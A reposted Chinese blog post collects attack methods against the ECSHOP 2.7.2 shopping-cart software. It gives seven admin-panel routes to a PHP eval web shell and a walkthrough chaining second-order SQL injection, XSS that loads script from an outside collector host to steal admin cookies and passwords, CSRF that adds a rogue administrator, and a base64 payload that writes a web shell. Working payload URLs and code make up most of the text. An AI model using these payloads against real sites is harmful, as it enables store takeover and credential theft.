ECSHOP漏洞集 – xysoul的专栏 – CSDN博客 -Mikel

ECSHOP漏洞集 – xysoul的专栏 – CSDN博客

2019年8月6日 分类: Debug, PHP

来源: ECSHOP漏洞集 – xysoul的专栏 – CSDN博客

ecshop后台拿shell 个人总结七种方法

最近想弄个ecshop做销售。装好ecshop V2.7.2版本之后,测试后台拿shell。

本人整理给自己看的,大家飘过就好。BY:黑猫

ecshop后台拿shell 个人总结七种方法

一、

系统==>数据库管理==>SQL查询(可爆出物理路径):

==============创建表失败,导不出shell======================

show databases;
use 数据库名;
create a(cmd text not null);
insert into a(cmd) values(‘<?php eval($_POST[cmd]);?>’);
select cmd from a into outfile ‘导出路径’;
drop table if exists a;

==================创建表失败,导不出shell===================

二、

前台留个言,内容是我们的一句话木马:<?php eval($_POST[cmd]);?>

接着在后台系统==>数据库管理==>数据备份==>选择自定义备份,选择ecs_feedback这张表(存放留言的表)

备份文件名:x.php;.SQL (x.php.sql形式出错,菜刀链接不成功)

然后菜刀链接成功

http://www.webshell.cc/data/sqldata/x.php;.sql

三、

1、添加会员,会员名称插入插入一句话 :<?php eval($_POST[cmd]);?> ,其他随便填写。
2、系统==>数据库管理==>数据备份—自定义备份—选“XXX_users”
(其中XXX因各站而异,是数据前缀)
3、备份文件名为mm.php;.sql
4、一句话客户端连接mm.php;.sql,地址一般为 http://www.webshell.cc/data/sqldata/mm.php;.sql

四、

模板管理==>库项目管理==>选择myship.lbi 配送方式。

在文件内容最后面加入一句话代码:<?php eval($_POST[cmd]);?>

菜刀链接http://www.webshell.cc/myship.php 成功。

说明:有些服务器过滤了eval 导致失败。

五、

http://www.webshell.cc/includes/fckeditor/editor/filemanager/connectors/test.html

代码省略
对Media 没有任何限制. 直接 Type=Media 上传 你的 解密webshell
访问路径为

http://www.webshell.cc/images/upload/Media/xxx.php

六、

上传txt 并且没有过滤任何函数.
于是运用到了php的文件操作…
<script language=”php”>$file = file_get_contents(“C:/Inetpub/wwwroot/ecshop/data/Article/1286344719152816497.txt”);
if($file){
$file = “C:/Inetpub/wwwroot/ecshop/data/Article/1286344719152816497.txt”;
$newfile = ‘C:/Inetpub/wwwroot/ecshop/data/distant.php;a.txt’;
copy($file,$newfile);
}</script>

将以上代码插入库项目管理中的myship.ini
打开http://www.webshell.cc/myship.php
即在http://www.webshell.cc/data/目录下生成distant.php;a.txt
菜刀连接之…搞定..

七、

进入后台-系统设置-Flash播放器管理- 直接上传x.php

ecshop V2.7.2 版本已经没有这个选项 ,所以这个已经失效。

本站内容均为原创,转载请务必保留署名与链接!
ecshop后台拿shell 个人总结七种方法:http://www.webshell.cc/1625.html
———————————————————————————————————————————————————————————–
ECSHOP2.7.2入侵全过程

利用的都是一些早就在乌云上爆出来的漏洞,是学校上课做的一个实验,把过程贴出来,第一次尝试写博客,大牛勿喷。

1 Sql注入

1) 目标网站为:http://192.168.238.132/upload/

网站服务器ip:192.168.238.132

管理员的访问网站的电脑ip:192.168.238.1

攻击者ip:192.168.238.129

2)    漏洞存在于站外广告统计功能(对应管理后台的报表统计->站外投放JS),即/affiche.php页面,将from参数(网站来源referer)存储到了数据库表ecs_adsense,而在后台的“站外投放JS”读取出来未过滤又进入了sql语句,导致二次注入。(参考乌云http://www.wooyun.org/bugs/wooyun-2010-023188 )

在/affiche.php119行有这样一句话

  1. $sql = “INSERT INTO “ .$ecs->table(‘adsense’) . “(from_ad, referer, clicks) VALUES (‘-1’,'” . $site_name . “‘, ‘1’)”;

可以发现$site_name即$_GET[‘from’]存入数据库了

 

而在/admin/adsense.php47-49行又有以下代码

  1. /* 获取当前广告所产生的订单总数 */
  2. $sql2 = ‘SELECT COUNT(order_id) FROM ‘.$ecs->table(‘order_info’). ” WHERE from_ad=’$rows[ad_id]’ ANDreferer=’$rows[referer]'”;
  3. $rows[‘order_num’] =$db->getOne($sql2);

 

可以发现没有再次addslashes导致注入。

 

3)于是我们构造以下两个链接

http://192.168.238.132/upload/affiche.php?from=zzz.zzz.zzz’%20and%201=2%20union%20select%20group_concat(user_id,’|’,user_name,’|’,password,’|’,ec_salt)%20from%20ecs_admin_user%20order%20by%201%20desc%23&ad_id=-1

http://192.168.238.132/upload/affiche.php?from=zzz.zzz.zzz’%20and%201=2%20union%20select%20%20value%20FROM%20`ecs_shop_config`%20WHERE%20code%20=%20’hash_code’%20order%20by%201%20desc%23&ad_id=-1

在浏览器中访问后即把恶意代码插入数据库中了。当管理员访问后台页面时,如图

可以发现当管理员访问该界面时发生了sql注入,管理员的账户密码都可以得到,包括hashcode。

 

可是这个界面只有管理员能够看到,不是管理员要怎么利用呢???

2 xss获得管理员账户密码

4)我们想到要是插入一段js代码,能够获取到当前页面元素的值当然也就可以找到管理员的账户密码了。

在xsser.me上自定义getHtmlText模块获取用户的页面内容

构造以下链接将js插入数据库中

http://192.168.238.132/upload/affiche.php?from=zxq.zxq.zxq%3Cscript%20src=%22http://xss.ownsec.com/fp1qml?1403800658%22%20type=%22text/javascript%22%3E%3C/script%3E&ad_id=-1

管理员浏览该页面后如图

可以发现已经接收到cookies和账户密码信息,如下图所示

账户密码信息如图

Hashcode如图

 

由于密码的hash值生成方式如下

这样我们得到了账户密码以及salt值,在cmd5网站上解密,因为密码是admin123比较简单,因此cmd5上面可以解出来。但如果密码复杂的话就没办法解密了。

 

5)于是我们寻找更通用的进入后台方式

发现cookies的生成方式如下

只需要把密码的hash值和hashcode的值连接起来进行md5加密即可获得密码,可以构造cookies欺骗。

参考 http://www.2cto.com/Article/201307/232194.html

但我做的时候用构造的cookies一直无法进入后台,不知道为什么不科学啊~

于是采用csrf进入后台

3 xss+csrf添加任意管理员并分配权限

6)我们利用xss与csrf结合进行攻击。

乌云漏洞 http://www.wooyun.org/bugs/wooyun-2010-033159

由于在添加管理员账号时没有token值验证因此可以构造js向后台post数据添加管理员,另外新添加的管理员是没有权限的,后面我们要拿webshell的时候需要用到语言编辑的权限,因此我们再post一个添加权限的数据。

我们的add.js代码如下

  1. Ajax.call(‘http://192.168.238.132/upload/admin/privilege.php?act=add’,‘user_name=zzzz&email=zzzz@qq.com&password=123456&pwd_confirm=123456&act=insert’,,“POST”,“JSON”);
  2. Ajax.call(‘http://192.168.238.132/upload/admin/privilege.php’,‘action_code[]=lang_edit&id=2&Submit=保存&act=update_allot’,,“POST”,“JSON”);

一个是添加管理员,一个是分配权限

继续构造如下链接,将代码插入数据库中

http://192.168.238.132/upload/affiche.php?from=a.baidu.com%3Cscript%20src=%22http://192.168.238.1/xss/add.js%22%20type=%22text/javascript%22%3E%3C/script%3E&ad_id=-1

在用户点击之前可以看到此时管理员只有一个

这时如果访问广告js界面,我们刚刚插入的代码就会执行

这时候再次查看管理员,发现已经多了一个管理员,并且拥有语言编辑的权利

权利如下图

Ok至此我们成功拿到后台管理员权限。

4 获取websehll

7)下面使用我们刚才添加的管理员拿webshell。登陆后发现只有一个语言编辑权利,但这正是我们为了拿webshell分配的,已经足够了。

由于将变量直接写入user.php文件并且没有对变量过滤,导致可以插入代码并执行。

查找用户信息

在用户信息后面添加生成一句话木马的代码

  1. ${${fputs(fopen(base64_decode(dGVzdC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbdGVzdF0pPz4))}}

 

此时我们查看user.php的代码发现刚才的代码已经成功写入user.php文件中

然后攻击者访问http://192.168.238.132/upload/user.php后代码将会执行,在网站根目录下生成一句话木马test.php。

 

8) 使用菜刀连接我们的一句话木马

可以发现已经成功连接上

9)在根目录下上传木马muma.php

至此成功拿到webshell

后面的提权就不贴出来了。


标签:
本文的评论功能被关闭了.
备案信息冀ICP 0007948